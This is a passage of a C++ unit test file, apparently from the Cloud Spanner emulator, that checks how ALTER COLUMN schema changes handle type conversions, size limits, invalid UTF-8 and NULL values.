ZETASQL_EXPECT_OK(UpdateSchema({"ALTER TABLE test_table DROP COLUMN col_A"})); ZETASQL_EXPECT_OK(UpdateSchema({"ALTER TABLE test_table DROP col_B"})); } TEST_F(SchemaChangeTest, AlterColumnTypeChange) { ZETASQL_EXPECT_OK(SetSchema({R"( CREATE TABLE test_table ( int64_col INT64 NOT NULL, string_col STRING(30) ) PRIMARY KEY(int64_col) )"})); ZETASQL_ASSERT_OK(Insert("test_table", {"int64_col", "string_col"}, {Value(1), Value("abcdefghijklmnopqrstuvwxyz")})); // Check for invalid size reduction when converting from STRING to BYTES. EXPECT_THAT(UpdateSchema({R"( ALTER TABLE test_table ALTER COLUMN string_col BYTES(10) )"}), StatusIs(absl::StatusCode::kFailedPrecondition)); } TEST_F(SchemaChangeTest, AlterColumnTypeChangeWithoutKeyword) { ZETASQL_EXPECT_OK(SetSchema({R"( CREATE TABLE test_table ( int64_col INT64 NOT NULL, string_col STRING(30) ) PRIMARY KEY(int64_col) )"})); ZETASQL_ASSERT_OK(Insert("test_table", {"int64_col", "string_col"}, {Value(1), Value("abcdefghijklmnopqrstuvwxyz")})); // Check for invalid size reduction when converting from STRING to BYTES. EXPECT_THAT(UpdateSchema({R"( ALTER TABLE test_table ALTER string_col BYTES(10) )"}), StatusIs(absl::StatusCode::kFailedPrecondition)); } TEST_F(SchemaChangeTest, AlterColumnSizeReduction) { ZETASQL_EXPECT_OK(SetSchema({R"( CREATE TABLE test_table ( int64_col INT64 NOT NULL, string_col STRING(30) ) PRIMARY KEY(int64_col) )"})); ZETASQL_ASSERT_OK(Insert("test_table", {"int64_col", "string_col"}, {Value(1), Value("abcdefghijklmnopqrstuvwxyz")})); // Cannot reduce size below 26. EXPECT_THAT(UpdateSchema({R"( ALTER TABLE test_table ALTER COLUMN string_col STRING(10) )"}), StatusIs(absl::StatusCode::kFailedPrecondition)); } TEST_F(SchemaChangeTest, AlterColumnInvalidTypeChange) { ZETASQL_EXPECT_OK(SetSchema({R"( CREATE TABLE test_table ( int64_col INT64 NOT NULL, string_col STRING(30) ) PRIMARY KEY(int64_col) )"})); ZETASQL_ASSERT_OK(Insert("test_table", {"int64_col", "string_col"}, {Value(1), Value("abcdefghijklmnopqrstuvwxyz")})); // Cannot change from STRING to BOOL. EXPECT_THAT(UpdateSchema({R"( ALTER TABLE test_table ALTER COLUMN string_col BOOL )"}), StatusIs(absl::StatusCode::kInvalidArgument)); } TEST_F(SchemaChangeTest, AlterColumnUTFInvalid) { ZETASQL_EXPECT_OK(SetSchema({R"( CREATE TABLE test_table ( int64_col INT64 NOT NULL, bytes_col BYTES(30) ) PRIMARY KEY(int64_col) )"})); // This is not a valid UTF8 encoding. const unsigned char byte_val[] = {0xFF, 0xFF, 0xFF, 0xFF}; ZETASQL_ASSERT_OK(Insert("test_table", {"int64_col", "bytes_col"}, {Value(1), Value(Bytes(byte_val))})); EXPECT_THAT(UpdateSchema({R"( ALTER TABLE test_table ALTER COLUMN bytes_col STRING(30) )"}), StatusIs(absl::StatusCode::kFailedPrecondition)); } TEST_F(SchemaChangeTest, AlterColumnStringToBytes) { ZETASQL_EXPECT_OK(SetSchema({R"( CREATE TABLE test_table ( int64_col INT64 NOT NULL, string_col STRING(5) ) PRIMARY KEY(int64_col) )"})); ZETASQL_ASSERT_OK(Insert("test_table", {"int64_col", "string_col"}, {Value(1), Value("абвгд")})); EXPECT_THAT(UpdateSchema({R"( ALTER TABLE test_table ALTER COLUMN string_col BYTES(6) )"}), StatusIs(absl::StatusCode::kFailedPrecondition)); ZETASQL_EXPECT_OK(UpdateSchema({R"( ALTER TABLE test_table ALTER COLUMN string_col BYTES(10) )"})); // Check that the type was changed correctly. EXPECT_THAT(Read("test_table", {"string_col"}, KeySet::All()), IsOkAndHoldsRow({Bytes(kBytesLiteral)})); } TEST_F(SchemaChangeTest, AlterColumnWithNullValues) { ZETASQL_EXPECT_OK(SetSchema({R"( CREATE TABLE test_table ( int64_col INT64 NOT NULL, string_col STRING(5) ) PRIMARY KEY(int64_col) )"})); // Explicit NULL. ZETASQL_ASSERT_OK(Insert("test_table", {"int64_col", "string_col"}, {Value(1), cloud::spanner::MakeNullValue<std::string>()})); // Implicit NULL. ZETASQL_ASSERT_OK(Insert("test_table", {"int64_col"}, {Value(2)})); // Update succeeds since all the column values are NULL. ZETASQL_EXPECT_OK(UpdateSchema({R"( ALTER TABLE test_table ALTER COLUMN string_col BYTES(2) )"})); // Check that the type was changed correctly. EXPECT_THAT(Read("test_table", {"string_col"}, KeySet::All()), IsOkAndHoldsRows({{Null<Bytes>()}, {Null<Bytes>()}})); } TEST_F(SchemaChangeTest, AlterColumnBytesToString) { ZETASQL_EXPECT_OK(SetSchema({R"( CREATE TABLE test_table ( int64_col INT64 NOT NULL, bytes_col BYTES(30) ) PRIMARY KEY(int64_col) )"})); ZETASQL_ASSERT_OK(Insert("test_table", {"int64_col", "bytes_col"}, {Value(1), Bytes(kBytesLiteral)})); // This will fail as the byte-sequence translates to a 5-(unicode)char string. EXPECT_THAT(UpdateSchema({R"( ALTER TABLE test_table ALTER COLUMN bytes_col STRING(4) )"}), StatusIs(absl::StatusCode::kFailedPrecondition)); ZETASQL_EXPECT_OK(UpdateSchema({R"( ALTER TABLE test_table ALTER COLUMN bytes_col STRING(11) )"})); // Check that the type was changed correctly. EXPECT_THAT(Read("test_table", {"bytes_col"}, KeySet::All()), IsOkAndHoldsRow({Value("абвгд")})); } TEST_F(SchemaChangeTest, AlterColumnArrayType) { ZETASQL_EXPECT_OK(SetSchema({R"( CREATE TABLE test_table ( int64_col INT64 NOT NULL, string_arr_col ARRAY<STRING(30)> ) PRIMARY KEY(int64_col) )"})); std::vector<optional<std::string>> string_arr{kUnicodeStringLiteral, optional<std::string>()}; std::vector<optional<Bytes>> bytes_arr{Bytes(kBytesLiteral), optional<Bytes>()}; ZETASQL_ASSERT_OK(Insert("test_table", {"int64_col", "string_arr_col"}, {Value(1), Value(string_arr)})); ZETASQL_EXPECT_OK(UpdateSchema({R"( ALTER TABLE test_table ALTER COLUMN string_arr_col ARRAY<BYTES(10)> )"})); // Check that the type was changed correctly. EXPECT_THAT(Read("test_table", {"string_arr_col"}, KeySet::All()), IsOkAndHoldsRow({Value(bytes_arr)})); } } // namespace } // namespace test } // namespace emulator } // namespace spanner } // namespace google
34.53913
85
0.669247
sgorse12